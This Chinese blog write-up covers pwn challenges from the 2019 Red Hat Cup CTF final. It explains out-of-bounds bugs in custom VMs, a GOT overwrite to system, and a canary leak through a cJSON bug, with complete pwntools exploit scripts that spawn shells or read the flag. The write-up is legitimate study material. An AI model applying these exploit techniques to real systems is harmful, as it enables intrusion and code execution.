2019 红帽杯决赛 pwn 题 writeup

前言

这次比赛的赛制和今年国赛的赛制一样. 名为攻防, 实为解题. 不过和常规解题相比加了个罚时规则, 越早解出题拿到的分就越多. 所以解题速度很关键.

但是感觉这次比赛的题目就是为攻防比赛出的: 4个pwn 题三个虚拟机, 需要做较多的逆向工作, 然而我逆向还是太菜了, 最后只解出了其中两个题, 还有个题有思路了但是时间来不及了, 很可惜.

比赛结束之后把其中三个题又都做了一遍, 整理一下水篇博客

粤湾中心 (RHVM)

一个虚拟机题, 指令集比较简单, 在 rm_mov(从内存mov到寄存器) 和 mr_mov 的实现中都有漏洞, 可以导致越界读写.

题目开始会打开flag 文件, 并把文件描述符 dup 到 0x233. 还有个seccomp 禁用了 execve 系统调用, 感觉就是用来误导人的, 没啥用.

题目执行完指令之后会有个读取姓名(用的scanf)再输出的过程.

所以思路很清晰. 直要能够将 stdin->fileno 改成 0x233 即可拿到flag.

利用上面的两个漏洞很容易做到

exp 如下

from pwn import *
import time
import sys

global io

context(arch = 'amd64', os = 'linux', endian = 'little')
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']

filename = "RHVM.bin"

LOCAL = 1 if len(sys.argv)==1 else 0

elf = ELF(filename)

io = process("./"+filename)
libc = elf.libc

def play( eip, esp, size, code, interval=0.3):
    io.sendlineafter( "EIP", str(eip))
    io.sendlineafter( "ESP", str(esp))
    io.sendlineafter( "length", str(size))
    io.recvuntil( "Give me code: ")
    for c in code:
        io.sendline(c)
        time.sleep(interval)


def encode(func, dst, src):
    return str(u64(chr(src)+chr(dst)+p32(func)+"\x00\x00"))

def push_reg(idx):
    return encode(0x70, idx, idx)

def rr_mul(dst, src):
    return encode(0xc0, dst, src)

def shl(dst_reg, val_reg):
    return encode(0xe0, dst_reg, val_reg)

def shr(dst_reg, val_reg):
    return encode(0xf0, dst_reg, val_reg)

def rr_sub(dst, src):
    return encode(0xd0, dst, src)

def rr_add(dst, src):
    return encode(0xa0, dst, src)

def rr_div(dst, src):
    return encode(0xb0, dst, src)

def pop_reg(idx):
    return encode(0x80, idx, idx)

def mr_mov(addr_reg, val_reg):
    return encode(0x41, addr_reg, val_reg)

def jmp_offset(off_reg):
    return encode(0x50, off_reg, off_reg)

def info_regs(s=""):
    print(s) if s!= "" else 0
    return encode(0x60, 0, 0)

def rm_mov(dst_idx_reg, addr_reg):
    return encode(0x42, dst_idx_reg, addr_reg)

def rr_or(dst, src):
    return encode(0x20, dst, src)

def ri_mov(dst_reg, imm):
    return encode(0x40, dst_reg, imm)

def rr_xor(dst, src):
    return encode(0x10, dst, src)

stdin = 0x30
g_stack = 0x58
g_regs = 0x60
g_mem = 0x80
fileno_off = 112

codes = []

context.log_level = "info"
#### 1. mov addr of stdin to  reg[0](low 4 byte)
# (0x30-0x80)/4 = -20
codes.append(ri_mov(5, 5))
codes.append(rr_sub(4, 5))
codes.append(rr_sub(4, 5))
codes.append(rr_sub(4, 5))
codes.append(rr_sub(4, 5) ) # now r4 = -20
codes.append(rm_mov(0, 4) ) # now low byte of stdin in r0


#### 2. modidy g_stack's low 4 byte as stdin's addr
# (0x58-0x80)/4 = -10
codes.append(rr_sub(6, 5))
codes.append(rr_sub(6, 5)) # r6 = -10
codes.append(mr_mov(6, 0)) # g_stack's low 4 byte 

"""
r0: f7dd1950
r1: 0
r2: 70
r3: 4
r4: ffffffec
r5: 5
r6: fffffff6
r7: 0
EIP: d
ESP: 4
"""

#### 3. modify g_stack's high 4 bytes  g_regs[-1] = g_mem(-19)
codes.append(ri_mov(7, 1))
codes.append(rr_sub(1, 7)) # r0 = -1
codes.append(rr_add(4, 7)) # r4 = -19
codes.append(rm_mov(1, 4))

# codes.append(info_regs())
"""
r0: f7dd18e0
r1: ffffffff
r2: 0
r3: 0
r4: ffffffed
r5: 5
r6: fffffff6
r7: 1
EIP: d    
"""


#### 4. mov 0x233 to  reg [2]
# 0x233 = 0b11 | (0b11 << 4) | (0b1 << 9)
codes.append(ri_mov(3, 4)) # r3 = 4
codes.append(ri_mov(0, 0b11))
codes.append(shl(0, 3)) # r0 = 0b11 << 4
codes.append(ri_mov(1, 0b11))
codes.append(rr_or(0, 1)) # r0 = 0b11 | (0b11 << 4)
codes.append(rr_add(5, 3)) # r5 = 9
codes.append(shl(7, 5)) # r7 = 0b1 << 9
codes.append(rr_or(0, 7)) # r0 = 0b1 | (0b1 << 9) | (0b1 << 9) = 0x233

codes.append(info_regs())

#### 5. push reg[2]
codes.append(push_reg(0))

play( 0, (112-4)/4, len(codes), codes, 0.1)
io.interactive()

这题最后40分钟开始看, 实在来不及做了

粤湾银行 (vm2)

这个虚拟机比第一个复杂些, 是变长指令, 指令数也很多.

这个虚拟机是用一个 int regs[6] 数组表示寄存器的, 在读写寄存器的操作时没有校验导致可以越界写修改后面的 栈的地址, 进而绕过 计算地址时的校验, 可以实现任意地址读写的效果. 直接把 free@got 改成 system 地址即可

虚拟机结构体如下

00000000 cpu             struc ; (sizeof=0x2C, mappedto_5)
00000000 regs            dd 6 dup(?)
00000018 _esp            dd ?
0000001C end2            dd ?
00000020 _ip             dd ?                    ; offset
00000024 flags           dd ?
00000028 stack           dd ?
0000002C cpu             ends

exp 如下

from pwn import *
from time import sleep
import sys

global io

context(arch = 'i386', os = 'linux', endian = 'little')
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']

filename = "./pwn"
ip = ""
port = 0

LOCAL = True if len(sys.argv)==1 else False


elf = ELF(filename)

remote_libc = "remote_libc"
if LOCAL:
    io = process(filename)
    libc = elf.libc

else:
    context.log_level = 'debug'
    io = remote(ip, port)
    libc = ELF(remote_libc)



def lg(name, val):
    log.info(name+" : "+hex(val))


def choice( idx):
    io.sendlineafter( ".exit\n>>> ", str(idx))

def new_game( code):
    choice( 1)
    time.sleep(0.3)
    io.send( code)

def play(p):
    choice( 2)


def ri_op(op):
    def decorator(func):
        def wrapper(*args, **kwargs):
            def f(idx, imm):
                return chr(op)+chr(idx)+p32(imm)
            return f(*args, **kwargs)
        return wrapper
    return decorator

def rr_op(op):
    def decorator(func):
        def wrapper(*args, **kwargs):
            def f(dst, src):
                return chr(op)+chr(dst)+chr(src)
            return f(*args, **kwargs)
        return wrapper
    return decorator



def push_imm(imm):
    return "\x73"+p32(imm)

def push_reg(idx):
    return "\x70"+chr(idx)

def dec(idx):
    return"\x30"+chr(idx)

@ri_op(0x53)
def ri_sub(idx, imm):
    pass

@rr_op(0x50)
def rr_sub(dst, src):
    pass

@ri_op(0x63)
def ri_mul(dst, imm):
    pass

@rr_op(0x60)
def rr_mul(dst, src):
    pass

@ri_op(0x43)
def ri_add(dst, imm):
    pass

@rr_op(0x40)
def rr_add(dst, src):
    pass

def putchar():
    return "\x10\x01"

def getchar():
    return "\x10\x00"

def inc(dst):
    return "\x20"+chr(dst)

def rm_mov(dst, base_reg, offset):
    return "\x01"+chr(dst)+chr(base_reg)+chr(offset)

def mr_mov(base_reg, offset, src):
    return "\x02"+chr(base_reg)+chr(offset)+chr(src)

def mi_mov(base_reg, offset, imm):
    return "\x04"+chr(base_reg)+chr(offset)+p32(imm)

def ri_mov(dst, imm):
    return "\x03"+chr(dst)+p32(imm)

def rr_mov(dst, src):
    return "\x00"+chr(dst)+chr(src)

def pop(dst):
    return "\x80"+chr(dst)

def ret():
    return "\xb0"


libc.address = 0
read_off = libc.symbols['read']
system_off = libc.symbols['system']
binsh_off = next(libc.search("/bin/sh\0"))
'''
00000000 cpu             struc ; (sizeof=0x2C, mappedto_5)
00000000 regs            dd 6 dup(?)
00000018 _esp            dd ?
0000001C end2            dd ?
00000020 _ip             dd ?                    ; offset
00000024 flags           dd ?
00000028 stack           dd ?
0000002C cpu             ends
'''

got_start = 0x0804B000
got_read =  0x0804B010
got_free =  0x0804B018

p1 = ri_mov(0x28/4, got_start) #cpu->stack  = got_start
p1 += ri_mov(3, got_read)
p1 += rm_mov(0, 3, 0)
p1 += ri_mov(1, read_off)
p1 += rr_sub(0, 1)  # libc base in r0
p1 += ri_mov(1, system_off)
p1 += rr_add(1, 0) # system addr in r1
p1 += ri_mov(2, got_free)
p1 += mr_mov(2, 0, 1) # got.free = system
p1 += ri_mov(3, binsh_off)
p1 += rr_add(3, 0) # binsh addr in r3
p1 += rr_mov(0x28/4, 3)
p1 += "\xb0"

new_game( p1)
play(io)
choice( "3")
io.interactive()

attack and defense (粤湾证券)

这题貌似和 今年的 xctf final 差不多. 用来解题就是浪费.......

直接执行 system("/bin/sh") 就行了

from pwn import *
import base64

io = process("./pwn")
io.recvuntil("gift:")
libc = int(io.recv(14),16)
print "libc:" + hex(libc)

code = p64(16) + p64(0) + p64(libc + 0x1B3E9A) + p64(64) + "system\x00\x00"

code = base64.b64encode(code)
io.recvuntil("Give me code:")
io.send(code)
io.interactive()

mislead (粤湾保险)

这题在 create 功能里有一个栈溢出很明显, 但是不知道怎么泄露 canary. 看了官方的wp [1] 才知道是用到了 cJson 的一个 CVE [2].

拿到题目发现运行需要 jemalloc.so, 以为是 jemalloc 有关的堆题, 就直接放弃了. 没想到和堆 一点关系都没有.

cJson 的这个漏洞是因为处理 多行注释的时候没有考虑注释不闭合的情况, 可以导致越界读, 具体细节参考issue 338 [2] . 本题中可以用来leak canary. 有了canary之后就是常规的rop.

exp 如下

from pwn import *
from time import sleep
import sys

global io

context(arch = 'amd64', os = 'linux', endian = 'little')
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']

filename = "mislead"
ip = ""
port = 0

LOCAL = True if len(sys.argv)==1 else False


elf = ELF(filename)

remote_libc = "remote_libc"
if LOCAL:

    io = process("./" + filename, env={'LD_PRELOAD': "./libjemalloc.so.2"}) 
    libc = elf.libc
else:
    context.log_level = 'debug'
    io = remote(ip, port)
    libc = ELF(remote_libc)



def lg(name, val):
    log.info(name+" : "+hex(val))


def minify( size, json_str):
    io.sendlineafter( "Wanna mislead me?(-1/0/1)", '1')
    io.sendlineafter( "Len:", str(size))
    io.sendafter( "Str:", json_str)

def create( id, data):
    io.sendlineafter( "Wanna mislead me?(-1/0/1)", '1')
    io.sendlineafter( "Len:", "256")
    io.sendafter( "Create json's id:", id)
    io.sendafter( "Create json's data:", data)

# https://github.com/DaveGamble/cJSON/issues/338
minify( 0x27, "/*".ljust(0x27, "a"))
io.recvuntil( "RAW DATA:")
canary = u64("\x00"+io.recv( 7))
lg("canary", canary)

io.sendline( "")

PRdiR = 0x0000000000405f03
got_read = 0x00607FC0 
plt_puts = 0x00401027

vuln = 0x00400D7B

bss = 0x608000 # - 0x609000
p1 = fit({
    0x808:p64(canary),
    0x810:p64(bss+0x100),
    0x818:(p64(PRdiR)+
        p64(got_read)+
        p64(plt_puts)
    )
}, filler="a")

create( 'pu1p\n', p1+'\n')
io.recvuntil( "}")
read_addr = u64(io.recv( 6)+"\x00\x00")
libc.address = read_addr - libc.symbols['read']
lg("read_addr", read_addr)
lg("libc base", libc.address)

system_addr = libc.symbols['system']
binsh_addr = next(libc.search("/bin/sh\0"))

p2 = fit({
    0x808:p64(canary),
    0x810:p64(bss+0x100),
    0x818:(p64(PRdiR)+
        p64(binsh_addr)+
        p64(system_addr)
    )
}, filler="b")

io.sendafter( "Create json's id:", "pu1p\n")
io.sendafter( "Create json's data:", p2+'\n')

io.interactive()

总结

复现完就发现题目其实都不是很难, 并没有触及知识盲区.

逆向水平还是太菜了, 平时需要多练练

参考

[1] http://blog.gdcert.com.cn/forum.php?mod=viewthread&tid=26&extra=page%3D1

[2] https://github.com/DaveGamble/cJSON/issues/338

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 160,999评论 4 368
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 68,102评论 1 302
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 110,709评论 0 250
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 44,439评论 0 217
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 52,846评论 3 294
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 40,881评论 1 224
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 32,062评论 2 317
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 30,783评论 0 205
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 34,517评论 1 248
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,762评论 2 253
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 32,241评论 1 264
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 28,568评论 3 260
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 33,236评论 3 241
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 26,145评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,941评论 0 201
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 35,965评论 2 283
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 35,802评论 2 275